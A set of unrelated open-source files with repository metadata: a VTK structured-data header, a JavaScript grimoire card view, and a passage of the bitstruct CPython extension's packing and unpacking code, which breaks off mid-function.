{ "content_hash": "79e8c4c553bfd15c5aa344acba9f38ee", "timestamp": "", "source": "github", "line_count": 126, "max_line_length": 122, "avg_line_length": 29.88095238095238, "alnum_prop": 0.5450199203187251, "repo_name": "StefanSinapov/TelerikAcademy", "id": "39e4e7713cb651cf67c9cdca3e5294fa650de1ac", "size": "3765", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "08. JavaScript UI & DOM/Teamwork/Blaze/src/main/java/com/team/blaze/dao/ScoreDAOJDBC.java", "mode": "33188", "license": "mit", "language": [ { "name": "ASP.NET", "bytes": "366155" }, { "name": "Batchfile", "bytes": "174" }, { "name": "C", "bytes": "1487" }, { "name": "C#", "bytes": "6534646" }, { "name": "C++", "bytes": "32601" }, { "name": "CSS", "bytes": "372478" }, { "name": "CoffeeScript", "bytes": "14486" }, { "name": "HTML", "bytes": "1242490" }, { "name": "Java", "bytes": "11797" }, { "name": "JavaScript", "bytes": "6374608" }, { "name": "Less", "bytes": "106505" }, { "name": "PHP", "bytes": "5957" }, { "name": "Pug", "bytes": "78294" }, { "name": "SCSS", "bytes": "24196" }, { "name": "Shell", "bytes": "148" }, { "name": "Stylus", "bytes": "3188" }, { "name": "TSQL", "bytes": "2219288" }, { "name": "TypeScript", "bytes": "14385" }, { "name": "Vim Snippet", "bytes": "49568" }, { "name": "XSLT", "bytes": "6879" } ], "symlink_target": "" }
// .NAME vtkStructuredData - abstract class for topologically regular data // .SECTION Description // vtkStructuredData is an abstract class that specifies an interface for // topologically regular data. Regular data is data that can be accessed // in rectangular fashion using an i-j-k index. A finite difference grid, // a volume, or a pixmap are all considered regular. // .SECTION See Also // vtkStructuredGrid vtkUniformGrid vtkRectilinearGrid vtkRectilinearGrid #ifndef __vtkStructuredData_h #define __vtkStructuredData_h #include "vtkCommonDataModelExport.h" // For export macro #include "vtkObject.h" class vtkIdList; #define VTK_UNCHANGED 0 #define VTK_SINGLE_POINT 1 #define VTK_X_LINE 2 #define VTK_Y_LINE 3 #define VTK_Z_LINE 4 #define VTK_XY_PLANE 5 #define VTK_YZ_PLANE 6 #define VTK_XZ_PLANE 7 #define VTK_XYZ_GRID 8 #define VTK_EMPTY 9 class VTKCOMMONDATAMODEL_EXPORT vtkStructuredData : public vtkObject { public: vtkTypeMacro(vtkStructuredData,vtkObject); // Description: // Specify the dimensions of a regular, rectangular dataset. The input is // the new dimensions (inDim) and the current dimensions (dim). The function // returns the dimension of the dataset (0-3D). If the dimensions are // improperly specified a -1 is returned. If the dimensions are unchanged, a // value of 100 is returned. static int SetDimensions(int inDim[3], int dim[3]); static int SetExtent(int inExt[6], int ext[6]); // Description: // Returns the data description given the dimensions (eg. VTK_SINGLE_POINT, // VTK_X_LINE, VTK_XY_PLANE etc.) static int GetDataDescription(int dims[3]); // Description: // Return the topological dimension of the data (e.g., 0, 1, 2, or 3D). static int GetDataDimension(int dataDescription); // Description: // Get the points defining a cell. (See vtkDataSet for more info.) static void GetCellPoints(vtkIdType cellId, vtkIdList *ptIds, int dataDescription, int dim[3]); // Description: // Get the cells using a point. (See vtkDataSet for more info.) static void GetPointCells(vtkIdType ptId, vtkIdList *cellIds, int dim[3]); // Description: // Get the cells using the points ptIds, exclusive of the cell cellId. // (See vtkDataSet for more info.) static void GetCellNeighbors(vtkIdType cellId, vtkIdList *ptIds, vtkIdList *cellIds, int dim[3]); // Description: // Given a location in structured coordinates (i-j-k), and the extent // of the structured dataset, return the point id. static vtkIdType ComputePointIdForExtent(int extent[6], int ijk[3]) { vtkIdType ydim = static_cast<vtkIdType>(extent[3] - extent[2] + 1); vtkIdType xdim = static_cast<vtkIdType>(extent[1] - extent[0] + 1); return ((ijk[2] - extent[4])*ydim + (ijk[1] - extent[2]))*xdim + (ijk[0] - extent[0]); } // Description: // Given a location in structured coordinates (i-j-k), and the extent // of the structured dataset, return the point id. static vtkIdType ComputeCellIdForExtent(int extent[6], int ijk[3]) { vtkIdType ydim = static_cast<vtkIdType>(extent[3] - extent[2]); if (ydim == 0) ydim = 1; vtkIdType xdim = static_cast<vtkIdType>(extent[1] - extent[0]); if (xdim == 0) xdim = 1; return ((ijk[2] - extent[4])*(ydim) + (ijk[1] - extent[2]))*(xdim) + (ijk[0] - extent[0]); } // Description: // Given a location in structured coordinates (i-j-k), and the dimensions // of the structured dataset, return the point id. This method does not // adjust for the beginning of the extent. static vtkIdType ComputePointId(int dim[3], int ijk[3]) { return (ijk[2]*static_cast<vtkIdType>(dim[1]) + ijk[1])*dim[0] + ijk[0];} // Description: // Given a location in structured coordinates (i-j-k), and the dimensions // of the structured dataset, return the cell id. This method does not // adjust for the beginning of the extent. static vtkIdType ComputeCellId(int dim[3], int ijk[3]) { return (ijk[2]*static_cast<vtkIdType>(dim[1]-1) + ijk[1])*(dim[0]-1) + ijk[0];} protected: vtkStructuredData() {}; ~vtkStructuredData() {}; private: vtkStructuredData(const vtkStructuredData&); // Not implemented. void operator=(const vtkStructuredData&); // Not implemented. }; #endif
{ "content_hash": "76226ac5ce09ab7bae5ced85daf255d5", "timestamp": "", "source": "github", "line_count": 113, "max_line_length": 83, "avg_line_length": 38.19469026548673, "alnum_prop": 0.696014828544949, "repo_name": "cjh1/vtkmodular", "id": "fbf4d8418bf27eb63dadbfaa7d2e277b0d7405bc", "size": "4903", "binary": false, "copies": "1", "ref": "refs/heads/modular-no-vtk4-compat", "path": "Common/DataModel/vtkStructuredData.h", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "Assembly", "bytes": "37780" }, { "name": "C", "bytes": "43497387" }, { "name": "C++", "bytes": "45441884" }, { "name": "Objective-C", "bytes": "96778" }, { "name": "Perl", "bytes": "174808" }, { "name": "Prolog", "bytes": "4746" }, { "name": "Python", "bytes": "406375" }, { "name": "Shell", "bytes": "11229" }, { "name": "Tcl", "bytes": "2383" } ], "symlink_target": "" }
import { fetchGrimoire } from 'data-service'; export class CardView { constructor() { this.card = null; this.cardName = ''; this.pageName = ''; this.themeName = ''; this.color = 'footer-color-1'; this.shareHref = ''; this.encodedCardName = ''; } activate(params) { this.id = params.id; } attached() { fetchGrimoire().then(themeData => { for (var i = 0; i < themeData.length; i++) { var theme = themeData[i]; for (var j = 0; j < theme.pageCollection.length; j++) { var page = theme.pageCollection[j]; for (var k = 0; k < page.cardCollection.length; k++) { var card = page.cardCollection[k]; if (card.cardId == this.id) { this.shareHref = encodeURIComponent(window.location.href); this.encodedCardName = encodeURIComponent(card.cardName); this.themeName = theme.themeName; this.card = card; this.cardName = card.cardName; this.pageName = page.pageName; document.getElementById('body').className = 'color-' + card .rarity; this.color = 'footer-color-' + card.rarity; document.getElementById('grimoire-card').scrollIntoView(); break; } } } } }); } get title() { return `${this.cardName}`; } get categoryTitle() { return `${this.themeName} :: ${this.pageName}`; } }
{ "content_hash": "bf66f68a3e35f85b1c91386128af4442", "timestamp": "", "source": "github", "line_count": 58, "max_line_length": 76, "avg_line_length": 26.224137931034484, "alnum_prop": 0.5272846811308349, "repo_name": "davetimmins/random-destiny-grimoire", "id": "115d1c58ca689bf0b39004bdf54af20eed0612c8", "size": "1521", "binary": false, "copies": "1", "ref": "refs/heads/gh-pages", "path": "src/card.js", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "27713" }, { "name": "HTML", "bytes": "8963" }, { "name": "JavaScript", "bytes": "36711" } ], "symlink_target": "" }
/** * CPython 3 C extension. */ #include <Python.h> #include <stdbool.h> #include "bitstream.h" #include <stdio.h> struct field_info_t; typedef void (*pack_field_t)(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p); typedef PyObject *(*unpack_field_t)(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p); struct field_info_t { pack_field_t pack; unpack_field_t unpack; int number_of_bits; bool is_padding; union { struct { int64_t lower; int64_t upper; } s; struct { uint64_t upper; } u; } limits; }; struct info_t { int number_of_bits; int number_of_fields; int number_of_non_padding_fields; struct field_info_t fields[1]; }; struct compiled_format_t { PyObject_HEAD struct info_t *info_p; PyObject *format_p; }; struct compiled_format_dict_t { PyObject_HEAD struct info_t *info_p; PyObject *format_p; PyObject *names_p; }; static const char* pickle_version_key = "_pickle_version"; static int pickle_version = 1; static PyObject *compiled_format_new(PyTypeObject *type_p, PyObject *args_p, PyObject *kwargs_p); static int compiled_format_init(struct compiled_format_t *self_p, PyObject *args_p, PyObject *kwargs_p); static int compiled_format_init_inner(struct compiled_format_t *self_p, PyObject *format_p); static void compiled_format_dealloc(struct compiled_format_t *self_p); static PyObject *m_compiled_format_pack(struct compiled_format_t *self_p, PyObject *args_p); static PyObject *m_compiled_format_unpack(struct compiled_format_t *self_p, PyObject *args_p, PyObject *kwargs_p); static PyObject *m_compiled_format_pack_into(struct compiled_format_t *self_p, PyObject *args_p, PyObject *kwargs_p); static PyObject *m_compiled_format_unpack_from(struct compiled_format_t *self_p, PyObject *args_p, PyObject *kwargs_p); static PyObject *m_compiled_format_calcsize(struct compiled_format_t *self_p); static PyObject *m_compiled_format_copy(struct compiled_format_t *self_p); static PyObject *m_compiled_format_deepcopy(struct compiled_format_t *self_p, PyObject *args_p); static PyObject *m_compiled_format_getstate(struct compiled_format_t *self_p, PyObject *args_p); static PyObject *m_compiled_format_setstate(struct compiled_format_t *self_p, PyObject *args_p); static PyObject *compiled_format_dict_new(PyTypeObject *type_p, PyObject *args_p, PyObject *kwargs_p); static int compiled_format_dict_init(struct compiled_format_dict_t *self_p, PyObject *args_p, PyObject *kwargs_p); static int compiled_format_dict_init_inner(struct compiled_format_dict_t *self_p, PyObject *format_p, PyObject *names_p); static void compiled_format_dict_dealloc(struct compiled_format_dict_t *self_p); static PyObject *m_compiled_format_dict_pack(struct compiled_format_dict_t *self_p, PyObject *data_p); static PyObject *m_compiled_format_dict_unpack( struct compiled_format_dict_t *self_p, PyObject *args_p, PyObject *kwargs_p); static PyObject *m_compiled_format_dict_pack_into( struct compiled_format_dict_t *self_p, PyObject *args_p, PyObject *kwargs_p); static PyObject *m_compiled_format_dict_unpack_from( struct compiled_format_dict_t *self_p, PyObject *args_p, PyObject *kwargs_p); static PyObject *m_compiled_format_dict_calcsize( struct compiled_format_dict_t *self_p); static PyObject *m_compiled_format_dict_copy( struct compiled_format_dict_t *self_p); static PyObject *m_compiled_format_dict_deepcopy( struct compiled_format_dict_t *self_p, PyObject *args_p); static PyObject *m_compiled_format_dict_getstate(struct compiled_format_dict_t *self_p, PyObject *args_p); static PyObject *m_compiled_format_dict_setstate(struct compiled_format_dict_t *self_p, PyObject *args_p); PyDoc_STRVAR(pack___doc__, "pack(fmt, *args)\n" "--\n" "\n"); PyDoc_STRVAR(compiled_format_pack___doc__, "pack(*args)\n" "--\n" "\n"); PyDoc_STRVAR(unpack___doc__, "unpack(fmt, data, allow_truncated=False)\n" "--\n" "\n"); PyDoc_STRVAR(compiled_format_unpack___doc__, "unpack(data, allow_truncated=False)\n" "--\n" "\n"); PyDoc_STRVAR(pack_into___doc__, "pack_into(fmt, buf, offset, *args, **kwargs)\n" "--\n" "\n"); PyDoc_STRVAR(compiled_format_pack_into___doc__, "pack_into(buf, offset, *args, **kwargs)\n" "--\n" "\n"); PyDoc_STRVAR(unpack_from___doc__, "unpack_from(fmt, data, offset=0, allow_truncated=False)\n" "--\n" "\n"); PyDoc_STRVAR(compiled_format_unpack_from___doc__, "unpack_from(data, offset=0, allow_truncated=False)\n" "--\n" "\n"); PyDoc_STRVAR(calcsize___doc__, "calcsize(fmt)\n" "--\n" "\n"); PyDoc_STRVAR(compiled_format_calcsize___doc__, "calcsize()\n" "--\n" "\n"); static PyObject *py_zero_p = NULL; static struct PyMethodDef compiled_format_methods[] = { { "pack", (PyCFunction)m_compiled_format_pack, METH_VARARGS, compiled_format_pack___doc__ }, { "unpack", (PyCFunction)m_compiled_format_unpack, METH_VARARGS | METH_KEYWORDS, compiled_format_unpack___doc__ }, { "pack_into", (PyCFunction)m_compiled_format_pack_into, METH_VARARGS | METH_KEYWORDS, compiled_format_pack_into___doc__ }, { "unpack_from", (PyCFunction)m_compiled_format_unpack_from, METH_VARARGS | METH_KEYWORDS, compiled_format_unpack_from___doc__ }, { "calcsize", (PyCFunction)m_compiled_format_calcsize, METH_NOARGS, compiled_format_calcsize___doc__ }, { "__copy__", (PyCFunction)m_compiled_format_copy, METH_NOARGS }, { "__deepcopy__", (PyCFunction)m_compiled_format_deepcopy, METH_VARARGS }, { "__getstate__", (PyCFunction)m_compiled_format_getstate, METH_NOARGS }, { "__setstate__", (PyCFunction)m_compiled_format_setstate, METH_O }, { NULL } }; static PyTypeObject compiled_format_type = { PyVarObject_HEAD_INIT(NULL, 0) .tp_name = "bitstruct.c.CompiledFormat", .tp_doc = NULL, .tp_basicsize = sizeof(struct compiled_format_t), .tp_itemsize = 0, .tp_flags = Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, .tp_new = compiled_format_new, .tp_init = (initproc)compiled_format_init, .tp_dealloc = (destructor)compiled_format_dealloc, .tp_methods = compiled_format_methods, }; static struct PyMethodDef compiled_format_dict_methods[] = { { "pack", (PyCFunction)m_compiled_format_dict_pack, METH_O, pack___doc__ }, { "unpack", (PyCFunction)m_compiled_format_dict_unpack, METH_VARARGS | METH_KEYWORDS, unpack___doc__ }, { "pack_into", (PyCFunction)m_compiled_format_dict_pack_into, METH_VARARGS | METH_KEYWORDS, pack_into___doc__ }, { "unpack_from", (PyCFunction)m_compiled_format_dict_unpack_from, METH_VARARGS | METH_KEYWORDS, unpack_from___doc__ }, { "calcsize", (PyCFunction)m_compiled_format_dict_calcsize, METH_NOARGS, calcsize___doc__ }, { "__copy__", (PyCFunction)m_compiled_format_dict_copy, METH_NOARGS }, { "__deepcopy__", (PyCFunction)m_compiled_format_dict_deepcopy, METH_VARARGS }, { "__getstate__", (PyCFunction)m_compiled_format_dict_getstate, METH_NOARGS }, { "__setstate__", (PyCFunction)m_compiled_format_dict_setstate, METH_O }, { NULL } }; static PyTypeObject compiled_format_dict_type = { PyVarObject_HEAD_INIT(NULL, 0) .tp_name = "bitstruct.c.CompiledFormatDict", .tp_doc = NULL, .tp_basicsize = sizeof(struct compiled_format_dict_t), .tp_itemsize = 0, .tp_flags = Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, .tp_new = compiled_format_dict_new, .tp_init = (initproc)compiled_format_dict_init, .tp_dealloc = (destructor)compiled_format_dict_dealloc, .tp_methods = compiled_format_dict_methods, }; static bool is_names_list(PyObject *names_p) { if (!PyList_Check(names_p)) { PyErr_SetString(PyExc_TypeError, "Names is not a list."); return (false); } return (true); } static void pack_signed_integer(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { int64_t value; int64_t lower; int64_t upper; value = PyLong_AsLongLong(value_p); if ((value == -1) && PyErr_Occurred()) { return; } if (field_info_p->number_of_bits < 64) { lower = field_info_p->limits.s.lower; upper = field_info_p->limits.s.upper; if ((value < lower) || (value > upper)) { PyErr_Format(PyExc_OverflowError, "Signed integer value %lld out of range.", (long long)value); } value &= ((1ull << field_info_p->number_of_bits) - 1); } bitstream_writer_write_u64_bits(self_p, (uint64_t)value, field_info_p->number_of_bits); } static PyObject *unpack_signed_integer(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p) { uint64_t value; uint64_t sign_bit; value = bitstream_reader_read_u64_bits(self_p, field_info_p->number_of_bits); sign_bit = (1ull << (field_info_p->number_of_bits - 1)); if (value & sign_bit) { value |= ~(((sign_bit) << 1) - 1); } return (PyLong_FromLongLong((long long)value)); } static void pack_unsigned_integer(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { uint64_t value; value = PyLong_AsUnsignedLongLong(value_p); if ((value == (uint64_t)-1) && PyErr_Occurred()) { return; } if (value > field_info_p->limits.u.upper) { PyErr_Format(PyExc_OverflowError, "Unsigned integer value %llu out of range.", (unsigned long long)value); } bitstream_writer_write_u64_bits(self_p, value, field_info_p->number_of_bits); } static PyObject *unpack_unsigned_integer(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p) { uint64_t value; value = bitstream_reader_read_u64_bits(self_p, field_info_p->number_of_bits); return (PyLong_FromUnsignedLongLong(value)); } #if PY_MAJOR_VERSION == 3 && PY_MINOR_VERSION >= 6 static void pack_float_16(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { uint8_t buf[2]; #if PY_VERSION_HEX >= 0x030B00A7 PyFloat_Pack2(PyFloat_AsDouble(value_p), (char*)&buf[0], PY_BIG_ENDIAN); #else _PyFloat_Pack2(PyFloat_AsDouble(value_p), &buf[0], PY_BIG_ENDIAN); #endif bitstream_writer_write_bytes(self_p, &buf[0], sizeof(buf)); } static PyObject *unpack_float_16(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p) { uint8_t buf[2]; double value; bitstream_reader_read_bytes(self_p, &buf[0], sizeof(buf)); #if PY_VERSION_HEX >= 0x030B00A7 value = PyFloat_Unpack2((const char*)&buf[0], PY_BIG_ENDIAN); #else value = _PyFloat_Unpack2(&buf[0], PY_BIG_ENDIAN); #endif return (PyFloat_FromDouble(value)); } #endif static void pack_float_32(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { float value; uint32_t data; value = (float)PyFloat_AsDouble(value_p); memcpy(&data, &value, sizeof(data)); bitstream_writer_write_u32(self_p, data); } static PyObject *unpack_float_32(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p) { float value; uint32_t data; data = bitstream_reader_read_u32(self_p); memcpy(&value, &data, sizeof(value)); return (PyFloat_FromDouble(value)); } static void pack_float_64(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { double value; uint64_t data; value = PyFloat_AsDouble(value_p); memcpy(&data, &value, sizeof(data)); bitstream_writer_write_u64_bits(self_p, data, field_info_p->number_of_bits); } static PyObject *unpack_float_64(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p) { double value; uint64_t data; data = bitstream_reader_read_u64(self_p); memcpy(&value, &data, sizeof(value)); return (PyFloat_FromDouble(value)); } static void pack_bool(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { bitstream_writer_write_u64_bits(self_p, PyObject_IsTrue(value_p), field_info_p->number_of_bits); } static PyObject *unpack_bool(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p) { return (PyBool_FromLong((long)bitstream_reader_read_u64_bits( self_p, field_info_p->number_of_bits))); } static void pack_text(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { Py_ssize_t size; const char* buf_p; buf_p = PyUnicode_AsUTF8AndSize(value_p, &size); if (buf_p != NULL) { if (size < (field_info_p->number_of_bits / 8)) { PyErr_SetString(PyExc_NotImplementedError, "Short text."); } else { bitstream_writer_write_bytes(self_p, (uint8_t *)buf_p, field_info_p->number_of_bits / 8); } } } static PyObject *unpack_text(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p) { uint8_t *buf_p; PyObject *value_p; int number_of_bytes; number_of_bytes = (field_info_p->number_of_bits / 8); buf_p = PyMem_RawMalloc(number_of_bytes); if (buf_p == NULL) { return (NULL); } bitstream_reader_read_bytes(self_p, buf_p, number_of_bytes); value_p = PyUnicode_FromStringAndSize((const char *)buf_p, number_of_bytes); PyMem_RawFree(buf_p); return (value_p); } static void pack_raw(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { Py_ssize_t size; char* buf_p; int res; res = PyBytes_AsStringAndSize(value_p, &buf_p, &size); if (res != -1) { if (size < (field_info_p->number_of_bits / 8)) { PyErr_SetString(PyExc_NotImplementedError, "Short raw data."); } else { bitstream_writer_write_bytes(self_p, (uint8_t *)buf_p, field_info_p->number_of_bits / 8); } } } static PyObject *unpack_raw(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p) { uint8_t *buf_p; PyObject *value_p; int number_of_bytes; number_of_bytes = (field_info_p->number_of_bits / 8); value_p = PyBytes_FromStringAndSize(NULL, number_of_bytes); buf_p = (uint8_t *)PyBytes_AS_STRING(value_p); bitstream_reader_read_bytes(self_p, buf_p, number_of_bytes); return (value_p); } static void pack_zero_padding(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { bitstream_writer_write_repeated_bit(self_p, 0, field_info_p->number_of_bits); } static void pack_one_padding(struct bitstream_writer_t *self_p, PyObject *value_p, struct field_info_t *field_info_p) { bitstream_writer_write_repeated_bit(self_p, 1, field_info_p->number_of_bits); } static PyObject *unpack_padding(struct bitstream_reader_t *self_p, struct field_info_t *field_info_p) { bitstream_reader_seek(self_p, field_info_p->number_of_bits); return (NULL); } static int field_info_init_signed(struct field_info_t *self_p, int number_of_bits) { uint64_t limit; self_p->pack = pack_signed_integer; self_p->unpack = unpack_signed_integer; if (number_of_bits > 64) { PyErr_SetString(PyExc_NotImplementedError, "Signed integer over 64 bits."); return (-1); } limit = (1ull << (number_of_bits - 1)); self_p->limits.s.lower = -limit; self_p->limits.s.upper = (limit - 1); return (0); } static int field_info_init_unsigned(struct field_info_t *self_p, int number_of_bits) { self_p->pack = pack_unsigned_integer; self_p->unpack = unpack_unsigned_integer; if (number_of_bits > 64) { PyErr_SetString(PyExc_NotImplementedError, "Unsigned integer over 64 bits."); return (-1); } if (number_of_bits < 64) { self_p->limits.u.upper = ((1ull << number_of_bits) - 1); } else { self_p->limits.u.upper = (uint64_t)-1; } return (0); } static int field_info_init_float(struct field_info_t *self_p, int number_of_bits) { switch (number_of_bits) { #if PY_MAJOR_VERSION == 3 && PY_MINOR_VERSION >= 6 case 16: self_p->pack = pack_float_16; self_p->unpack = unpack_float_16; break; #endif case 32: self_p->pack = pack_float_32; self_p->unpack = unpack_float_32; break; case 64: self_p->pack = pack_float_64; self_p->unpack = unpack_float_64; break; default: #if PY_MAJOR_VERSION == 3 && PY_MINOR_VERSION >= 6 PyErr_SetString(PyExc_NotImplementedError, "Float not 16, 32 or 64 bits."); #else PyErr_SetString(PyExc_NotImplementedError, "Float not 32 or 64 bits."); #endif return (-1); } return (0); } static int field_info_init_bool(struct field_info_t *self_p, int number_of_bits) { self_p->pack = pack_bool; self_p->unpack = unpack_bool; if (number_of_bits > 64) { PyErr_SetString(PyExc_NotImplementedError, "Bool over 64 bits."); return (-1); } return (0); } static int field_info_init_text(struct field_info_t *self_p, int number_of_bits) { self_p->pack = pack_text; self_p->unpack = unpack_text; if ((number_of_bits % 8) != 0) { PyErr_SetString(PyExc_NotImplementedError, "Text not multiple of 8 bits."); return (-1); } return (0); } static int field_info_init_raw(struct field_info_t *self_p, int number_of_bits) { self_p->pack = pack_raw; self_p->unpack = unpack_raw; if ((number_of_bits % 8) != 0) { PyErr_SetString(PyExc_NotImplementedError, "Raw not multiple of 8 bits."); return (-1); } return (0); } static int field_info_init_zero_padding(struct field_info_t *self_p) { self_p->pack = pack_zero_padding; self_p->unpack = unpack_padding; return (0); } static int field_info_init_one_padding(struct field_info_t *self_p) { self_p->pack = pack_one_padding; self_p->unpack = unpack_padding; return (0); } static int field_info_init(struct field_info_t *self_p, int kind, int number_of_bits) { int res; bool is_padding; is_padding = false; switch (kind) { case 's': res = field_info_init_signed(self_p, number_of_bits); break; case 'u': res = field_info_init_unsigned(self_p, number_of_bits); break; case 'f': res = field_info_init_float(self_p, number_of_bits); break; case 'b': res = field_info_init_bool(self_p, number_of_bits); break; case 't': res = field_info_init_text(self_p, number_of_bits); break; case 'r': res = field_info_init_raw(self_p, number_of_bits); break; case 'p': is_padding = true; res = field_info_init_zero_padding(self_p); break; case 'P': is_padding = true; res = field_info_init_one_padding(self_p); break; default: PyErr_Format(PyExc_ValueError, "Bad format field type '%c'.", kind); res = -1; break; } self_p->number_of_bits = number_of_bits; self_p->is_padding = is_padding; return (res); } static int count_number_of_fields(const char *format_p, int *number_of_padding_fields_p) { int count; count = 0; *number_of_padding_fields_p = 0; while (*format_p != '\0') { if ((*format_p >= 'A') && (*format_p <= 'z')) { count++; if ((*format_p == 'p') || (*format_p == 'P')) { (*number_of_padding_fields_p)++; } } format_p++; } return (count); } const char *parse_field(const char *format_p, int *kind_p, int *number_of_bits_p) { while (isspace(*format_p)) { format_p++; } *kind_p = *format_p; *number_of_bits_p = 0; format_p++; while (isdigit(*format_p)) { if (*number_of_bits_p > (INT_MAX / 100)) { PyErr_SetString(PyExc_ValueError, "Field too long."); return (NULL); } *number_of_bits_p *= 10; *number_of_bits_p += (*format_p - '0'); format_p++; } if (*number_of_bits_p == 0) { PyErr_SetString(PyExc_ValueError, "Field of size 0."); format_p = NULL; } return (format_p); } static struct info_t *parse_format(PyObject *format_obj_p) { int number_of_fields; struct info_t *info_p; const char *format_p; int i; int kind; int number_of_bits; int number_of_padding_fields; int res; format_p = PyUnicode_AsUTF8(format_obj_p); if (format_p == NULL) { return (NULL); } number_of_fields = count_number_of_fields(format_p, &number_of_padding_fields); info_p = PyMem_RawMalloc( sizeof(*info_p) + number_of_fields * sizeof(info_p->fields[0])); if (info_p == NULL) { return (NULL); } info_p->number_of_bits = 0; info_p->number_of_fields = number_of_fields; info_p->number_of_non_padding_fields = ( number_of_fields - number_of_padding_fields); for (i = 0; i < info_p->number_of_fields; i++) { format_p = parse_field(format_p, &kind, &number_of_bits); if (format_p == NULL) { PyMem_RawFree(info_p); return (NULL); } res = field_info_init(&info_p->fields[i], kind, number_of_bits); if (res != 0) { PyMem_RawFree(info_p); return (NULL); } info_p->number_of_bits += number_of_bits; } return (info_p); } static void pack_pack(struct info_t *info_p, PyObject *args_p, int consumed_args, struct bitstream_writer_t *writer_p) { PyObject *value_p; int i; struct field_info_t *field_p; for (i = 0; i < info_p->number_of_fields; i++) { field_p = &info_p->fields[i]; if (field_p->is_padding) { value_p = NULL; } else { value_p = PyTuple_GET_ITEM(args_p, consumed_args); consumed_args++; } info_p->fields[i].pack(writer_p, value_p, field_p); } } static PyObject *pack_prepare(struct info_t *info_p, struct bitstream_writer_t *writer_p) { PyObject *packed_p; packed_p = PyBytes_FromStringAndSize(NULL, (info_p->number_of_bits + 7) / 8); if (packed_p == NULL) { return (NULL); } bitstream_writer_init(writer_p, (uint8_t *)PyBytes_AS_STRING(packed_p)); return (packed_p); } static PyObject *pack_finalize(PyObject *packed_p) { if (PyErr_Occurred() != NULL) { Py_DECREF(packed_p); packed_p = NULL; } return (packed_p); } static PyObject *pack(struct info_t *info_p, PyObject *args_p, int consumed_args, Py_ssize_t number_of_args) { struct bitstream_writer_t writer; PyObject *packed_p; if (number_of_args < info_p->number_of_non_padding_fields) { PyErr_SetString(PyExc_ValueError, "Too few arguments."); return (NULL); } packed_p = pack_prepare(info_p, &writer); if (packed_p == NULL) { return (NULL); } pack_pack(info_p, args_p, consumed_args, &writer); return (pack_finalize(packed_p)); } static PyObject *m_pack(PyObject *module_p, PyObject *args_p) { Py_ssize_t number_of_args; PyObject *packed_p; struct info_t *info_p; number_of_args = PyTuple_GET_SIZE(args_p); if (number_of_args < 1) { PyErr_SetString(PyExc_ValueError, "No format string."); return (NULL); } info_p = parse_format(PyTuple_GET_ITEM(args_p, 0)); if (info_p == NULL) { return (NULL); } packed_p = pack(info_p, args_p, 1, number_of_args - 1); PyMem_RawFree(info_p); return (packed_p); } static PyObject *unpack(struct info_t *info_p, PyObject *data_p, long offset, PyObject *allow_truncated_p) { struct bitstream_reader_t reader; PyObject *unpacked_p = NULL; PyObject *value_p; Py_buffer view = {NULL, NULL}; int i; int tmp; int produced_args; int res; int allow_truncated; int num_result_fields; res = PyObject_GetBuffer(data_p, &view, PyBUF_C_CONTIGUOUS); if (res == -1) { return (NULL); } allow_truncated = PyObject_IsTrue(allow_truncated_p); if (allow_truncated) { num_result_fields = 0; tmp = 0; for (i = 0; i < info_p->number_of_fields; i++) { if (view.len*8 < tmp + info_p->fields[i].number_of_bits) { break; } tmp += info_p->fields[i].number_of_bits; if (!info_p->fields[i].is_padding) { ++num_result_fields; } } } else { num_result_fields = info_p->number_of_non_padding_fields; if (view.len < ((info_p->number_of_bits + offset + 7) / 8)) { PyErr_SetString(PyExc_ValueError, "Short data."); goto exit; } } unpacked_p = PyTuple_New(num_result_fields); if (unpacked_p == NULL) { goto exit; } bitstream_reader_init(&reader, (uint8_t *)view.buf); bitstream_reader_seek(&reader, offset); produced_args = 0; for (i = 0; i < info_p->number_of_fields; i++) { if (produced_args == num_result_fields) { break; } value_p = info_p->fields[i].unpack(&reader, &info_p->fields[i]); if (value_p != NULL) { PyTuple_SET_ITEM(unpacked_p, produced_args, value_p); produced_args++; } } /* out1: if (PyErr_Occurred() != NULL) { Py_DECREF(unpacked_p); unpacked_p = NULL; } */ exit: PyBuffer_Release(&view); return (unpacked_p); } static PyObject *m_unpack(PyObject *module_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *format_p; PyObject *data_p; PyObject *unpacked_p; PyObject *allow_truncated_p; struct info_t *info_p; int res; static char *keywords[] = { "fmt", "data", "allow_truncated", NULL }; allow_truncated_p = py_zero_p; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "OO|O", &keywords[0], &format_p, &data_p, &allow_truncated_p); if (res == 0) { return (NULL); } info_p = parse_format(format_p); if (info_p == NULL) { return (NULL); } unpacked_p = unpack(info_p, data_p, 0, allow_truncated_p); PyMem_RawFree(info_p); return (unpacked_p); } static long parse_offset(PyObject *offset_p) { unsigned long offset; offset = PyLong_AsUnsignedLong(offset_p); if (offset == (unsigned long)-1) { return (-1); } if (offset > 0x7fffffff) { PyErr_Format(PyExc_ValueError, "Offset must be less or equal to %d bits.", 0x7fffffff); return (-1); } return (offset); } static int pack_into_prepare(struct info_t *info_p, PyObject *buf_p, PyObject *offset_p, struct bitstream_writer_t *writer_p, struct bitstream_writer_bounds_t *bounds_p) { 